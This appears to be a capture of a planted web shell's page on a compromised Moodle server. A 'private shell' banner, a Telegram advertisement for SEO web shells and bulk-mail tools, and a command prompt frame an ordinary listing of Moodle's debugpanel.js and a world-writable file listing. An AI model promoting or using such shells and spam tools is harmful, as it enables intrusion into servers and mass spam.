__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Reactive module debug panel.
 *
 * This module contains all the UI components for the reactive debug tools.
 * Those tools are only available if the debug is enables and could be used
 * from the footer.
 *
 * @module     core/local/reactive/debugpanel
 * @copyright  2021 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import {BaseComponent, DragDrop, debug} from 'core/reactive';
import log from 'core/log';
import {debounce} from 'core/utils';

/**
 * Init the main reactive panel.
 *
 * @param {element|string} target the DOM main element or its ID
 * @param {object} selectors optional css selector overrides
 */
export const init = (target, selectors) => {
    const element = document.getElementById(target);
    // Check if the debug reactive module is available.
    if (debug === undefined) {
        element.remove();
        return;
    }
    // Create the main component.
    new GlobalDebugPanel({
        element,
        reactive: debug,
        selectors,
    });
};

/**
 * Init an instance reactive subpanel.
 *
 * @param {element|string} target the DOM main element or its ID
 * @param {object} selectors optional css selector overrides
 */
export const initsubpanel = (target, selectors) => {
    const element = document.getElementById(target);
    // Check if the debug reactive module is available.
    if (debug === undefined) {
        element.remove();
        return;
    }
    // Create the main component.
    new DebugInstanceSubpanel({
        element,
        reactive: debug,
        selectors,
    });
};

/**
 * Component for the main reactive dev panel.
 *
 * This component shows the list of reactive instances and handle the buttons
 * to open a specific instance panel.
 */
class GlobalDebugPanel extends BaseComponent {

    /**
     * Constructor hook.
     */
    create() {
        // Optional component name for debugging.
        this.name = 'GlobalDebugPanel';
        // Default query selectors.
        this.selectors = {
            LOADERS: `[data-for='loaders']`,
            SUBPANEL: `[data-for='subpanel']`,
            NOINSTANCES: `[data-for='noinstances']`,
            LOG: `[data-for='log']`,
        };
        this.classes = {
            HIDE: `d-none`,
        };
        // The list of loaded debuggers.
        this.subPanels = new Set();
    }

    /**
     * Initial state ready method.
     *
     * @param {object} state the initial state
     */
    stateReady(state) {
        this._updateReactivesPanels({state});
        // Remove loading wheel.
        this.getElement(this.selectors.SUBPANEL).innerHTML = '';
    }

    /**
     * Component watchers.
     *
     * @returns {Array} of watchers
     */
    getWatchers() {
        return [
            {watch: `reactives:created`, handler: this._updateReactivesPanels},
        ];
    }

    /**
     * Update the list of reactive instances.
     * @param {Object} args
     * @param {Object} args.state the current state
     */
    _updateReactivesPanels({state}) {
        this.getElement(this.selectors.NOINSTANCES)?.classList?.toggle(
            this.classes.HIDE,
            state.reactives.size > 0
        );
        // Generate loading buttons.
        state.reactives.forEach(
            instance => {
                this._createLoader(instance);
            }
        );
    }

    /**
     * Create a debug panel button for a specific reactive instance.
     *
     * @param {object} instance hte instance data
     */
    _createLoader(instance) {
        if (this.subPanels.has(instance.id)) {
            return;
        }
        this.subPanels.add(instance.id);
        const loaders = this.getElement(this.selectors.LOADERS);
        const btn = document.createElement("button");
        btn.innerHTML = instance.id;
        btn.dataset.id = instance.id;
        loaders.appendChild(btn);
        // Add click event.
        this.addEventListener(btn, 'click', () => this._openPanel(btn, instance));
    }

    /**
     * Open a debug panel.
     *
     * @param {Element} btn the button element
     * @param {object} instance the instance data
     */
    async _openPanel(btn, instance) {
        try {
            const target = this.getElement(this.selectors.SUBPANEL);
            const data = {...instance};
            await this.renderComponent(target, 'core/local/reactive/debuginstancepanel', data);
        } catch (error) {
            log.error('Cannot load reactive debug subpanel');
            throw error;
        }
    }
}

/**
 * Component for the main reactive dev panel.
 *
 * This component shows the list of reactive instances and handle the buttons
 * to open a specific instance panel.
 */
class DebugInstanceSubpanel extends BaseComponent {

    /**
     * Constructor hook.
     */
    create() {
        // Optional component name for debugging.
        this.name = 'DebugInstanceSubpanel';
        // Default query selectors.
        this.selectors = {
            NAME: `[data-for='name']`,
            CLOSE: `[data-for='close']`,
            READMODE: `[data-for='readmode']`,
            HIGHLIGHT: `[data-for='highlight']`,
            LOG: `[data-for='log']`,
            STATE: `[data-for='state']`,
            CLEAN: `[data-for='clean']`,
            PIN: `[data-for='pin']`,
            SAVE: `[data-for='save']`,
            INVALID: `[data-for='invalid']`,
        };
        this.id = this.element.dataset.id;
        this.controller = M.reactive[this.id];

        // The component is created always pinned.
        this.draggable = false;
        // We want the element to be dragged like modal.
        this.relativeDrag = true;
        // Save warning (will be loaded when state is ready.
        this.strings = {
            savewarning: '',
        };
    }

    /**
     * Initial state ready method.
     *
     */
    stateReady() {
        // Enable drag and drop.
        this.dragdrop = new DragDrop(this);

        // Close button.
        this.addEventListener(
            this.getElement(this.selectors.CLOSE),
            'click',
            this.remove
        );
        // Highlight button.
        if (this.controller.highlight) {
            this._toggleButtonText(this.getElement(this.selectors.HIGHLIGHT));
        }
        this.addEventListener(
            this.getElement(this.selectors.HIGHLIGHT),
            'click',
            () => {
                this.controller.highlight = !this.controller.highlight;
                this._toggleButtonText(this.getElement(this.selectors.HIGHLIGHT));
            }
        );
        // Edit mode button.
        this.addEventListener(
            this.getElement(this.selectors.READMODE),
            'click',
            this._toggleEditMode
        );
        // Clean log and state.
        this.addEventListener(
            this.getElement(this.selectors.CLEAN),
            'click',
            this._cleanAreas
        );
        // Unpin panel butotn.
        this.addEventListener(
            this.getElement(this.selectors.PIN),
            'click',
            this._togglePin
        );
        // Save button, state format error message and state textarea.
        this.getElement(this.selectors.SAVE).disabled = true;

        this.addEventListener(
            this.getElement(this.selectors.STATE),
            'keyup',
            debounce(this._checkJSON.bind(this), 500)
        );

        this.addEventListener(
            this.getElement(this.selectors.SAVE),
            'click',
            this._saveState
        );
        // Save the default save warning message.
        this.strings.savewarning = this.getElement(this.selectors.INVALID)?.innerHTML ?? '';
        // Add current state.
        this._refreshState();
    }

    /**
     * Remove all subcomponents dependencies.
     */
    destroy() {
        if (this.dragdrop !== undefined) {
            this.dragdrop.unregister();
        }
    }

    /**
     * Component watchers.
     *
     * @returns {Array} of watchers
     */
    getWatchers() {
        return [
            {watch: `reactives[${this.id}].lastChanges:updated`, handler: this._refreshLog},
            {watch: `reactives[${this.id}].modified:updated`, handler: this._refreshState},
            {watch: `reactives[${this.id}].readOnly:updated`, handler: this._refreshReadOnly},
        ];
    }

    /**
     * Watcher method to refresh the log panel.
     *
     * @param {object} args
     * @param {HTMLElement} args.element
     */
    _refreshLog({element}) {
        const list = element?.lastChanges ?? [];

        // Append last log.

        const target = this.getElement(this.selectors.LOG);
        if (target.value !== '') {
            target.value += '\n\n';
        }

        const logContent = list.join("\n");

        target.value += `= Transaction =\n${logContent}`;
        target.scrollTop = target.scrollHeight;
    }

    /**
     * Listener method to clean the log area.
     */
    _cleanAreas() {
        let target = this.getElement(this.selectors.LOG);
        target.value = '';

        this._refreshState();
    }

    /**
     * Watcher to refresh the state information.
     */
    _refreshState() {
        const target = this.getElement(this.selectors.STATE);
        target.value = JSON.stringify(this.controller.state, null, 4);
    }

    /**
     * Watcher to update the read only information.
     */
    _refreshReadOnly() {
        // Toggle the read mode button.
        const target = this.getElement(this.selectors.READMODE);
        if (target.dataset.readonly === undefined) {
            target.dataset.readonly = target.innerHTML;
        }
        if (this.controller.readOnly) {
            target.innerHTML = target.dataset.readonly;
        } else {
            target.innerHTML = target.dataset.alt;
        }
    }

    /**
     * Listener to toggle the edit mode of the component.
     */
    _toggleEditMode() {
        this.controller.readOnly = !this.controller.readOnly;
    }

    /**
     * Check that the edited state JSON is valid.
     *
     * Not all valid JSON are suitable for transforming the state. For example,
     * the first level attributes cannot change the type.
     *
     * @return {undefined|array} Array of state updates.
     */
    _checkJSON() {
        const invalid = this.getElement(this.selectors.INVALID);
        const save = this.getElement(this.selectors.SAVE);

        const edited = this.getElement(this.selectors.STATE).value;

        const currentStateData = this.controller.stateData;

        // Check if the json is tha same as state.
        if (edited == JSON.stringify(this.controller.state, null, 4)) {
            invalid.style.color = '';
            invalid.innerHTML = '';
            save.disabled = true;
            return undefined;
        }

        // Check if the json format is valid.
        try {
            const newState = JSON.parse(edited);
            // Check the first level did not change types.
            const result = this._generateStateUpdates(currentStateData, newState);
            // Enable save button.
            invalid.style.color = '';
            invalid.innerHTML = this.strings.savewarning;
            save.disabled = false;
            return result;
        } catch (error) {
            invalid.style.color = 'red';
            invalid.innerHTML = error.message ?? 'Invalid JSON sctructure';
            save.disabled = true;
            return undefined;
        }
    }

    /**
     * Listener to save the current edited state into the real state.
     */
    _saveState() {
        const updates = this._checkJSON();
        if (!updates) {
            return;
        }
        // Sent the updates to the state manager.
        this.controller.processUpdates(updates);
    }

    /**
     * Check that the edited state JSON is valid.
     *
     * Not all valid JSON are suitable for transforming the state. For example,
     * the first level attributes cannot change the type. This method do a two
     * steps comparison between the current state data and the new state data.
     *
     * A reactive state cannot be overridden like any other variable. To keep
     * the watchers updated is necessary to transform the current state into
     * the new one. As a result, this method generates all the necessary state
     * updates to convert the state into the new state.
     *
     * @param {object} currentStateData
     * @param {object} newStateData
     * @return {array} Array of state updates.
     * @throws {Error} is the structure is not compatible
     */
    _generateStateUpdates(currentStateData, newStateData) {

        const updates = [];

        const ids = {};

        // Step 1: Add all overrides newStateData.
        for (const [key, newValue] of Object.entries(newStateData)) {
            // Check is it is new.
            if (Array.isArray(newValue)) {
                ids[key] = {};
                newValue.forEach(element => {
                    if (element.id === undefined) {
                        throw Error(`Array ${key} element without id attribute`);
                    }
                    updates.push({
                        name: key,
                        action: 'override',
                        fields: element,
                    });
                    const index = String(element.id).valueOf();
                    ids[key][index] = true;
                });
            } else {
                updates.push({
                    name: key,
                    action: 'override',
                    fields: newValue,
                });
            }
        }
        // Step 2: delete unnecesary data from currentStateData.
        for (const [key, oldValue] of Object.entries(currentStateData)) {
            let deleteField = false;
            // Check if the attribute is still there.
            if (newStateData[key] === undefined) {
                deleteField = true;
            }
            if (Array.isArray(oldValue)) {
                if (!deleteField && ids[key] === undefined) {
                    throw Error(`Array ${key} cannot change to object.`);
                }
                oldValue.forEach(element => {
                    const index = String(element.id).valueOf();
                    let deleteEntry = deleteField;
                    // Check if the id is there.
                    if (!deleteEntry && ids[key][index] === undefined) {
                        deleteEntry = true;
                    }
                    if (deleteEntry) {
                        updates.push({
                            name: key,
                            action: 'delete',
                            fields: element,
                        });
                    }
                });
            } else {
                if (!deleteField && ids[key] !== undefined) {
                    throw Error(`Object ${key} cannot change to array.`);
                }
                if (deleteField) {
                    updates.push({
                        name: key,
                        action: 'delete',
                        fields: oldValue,
                    });
                }
            }
        }
        // Delete all elements without action.
        return updates;
    }

    // Drag and drop methods.

    /**
     * Get the draggable data of this component.
     *
     * @returns {Object} exported course module drop data
     */
    getDraggableData() {
        return this.draggable;
    }

    /**
     * The element drop end hook.
     *
     * @param {Object} dropdata the dropdata
     * @param {Event} event the dropdata
     */
    dragEnd(dropdata, event) {
        this.element.style.top = `${event.newFixedTop}px`;
        this.element.style.left = `${event.newFixedLeft}px`;
    }

    /**
     * Pin and unpin the panel.
     */
    _togglePin() {
        this.draggable = !this.draggable;
        this.dragdrop.setDraggable(this.draggable);
        if (this.draggable) {
            this._unpin();
        } else {
            this._pin();
        }
    }

    /**
     * Unpin the panel form the footer.
     */
    _unpin() {
        // Find the initial spot.
        const pageCenterY = window.innerHeight / 2;
        const pageCenterX = window.innerWidth / 2;
        // Put the element in the middle of the screen
        const style = {
            position: 'fixed',
            resize: 'both',
            overflow: 'auto',
            height: '400px',
            width: '400px',
            top: `${pageCenterY - 200}px`,
            left: `${pageCenterX - 200}px`,
        };
        Object.assign(this.element.style, style);
        // Small also the text areas.
        this.getElement(this.selectors.STATE).style.height = '50px';
        this.getElement(this.selectors.LOG).style.height = '50px';

        this._toggleButtonText(this.getElement(this.selectors.PIN));
    }

    /**
     * Pin the panel into the footer.
     */
    _pin() {
        const props = [
            'position',
            'resize',
            'overflow',
            'top',
            'left',
            'height',
            'width',
        ];
        props.forEach(
            prop => this.element.style.removeProperty(prop)
        );
        this._toggleButtonText(this.getElement(this.selectors.PIN));
    }

    /**
     * Toogle the button text with the data-alt value.
     *
     * @param {Element} element the button element
     */
    _toggleButtonText(element) {
        [element.innerHTML, element.dataset.alt] = [element.dataset.alt, element.innerHTML];
    }

}

Filemanager

Name Type Size Permission Actions
basecomponent.js File 18.45 KB 0777
debug.js File 10.79 KB 0777
debugpanel.js File 17.92 KB 0777
dragdrop.js File 19.55 KB 0777
logger.js File 1.72 KB 0777
overlay.js File 5.37 KB 0777
reactive.js File 15.66 KB 0777
srlogger.js File 2.76 KB 0777
statemanager.js File 29.91 KB 0777
Filemanager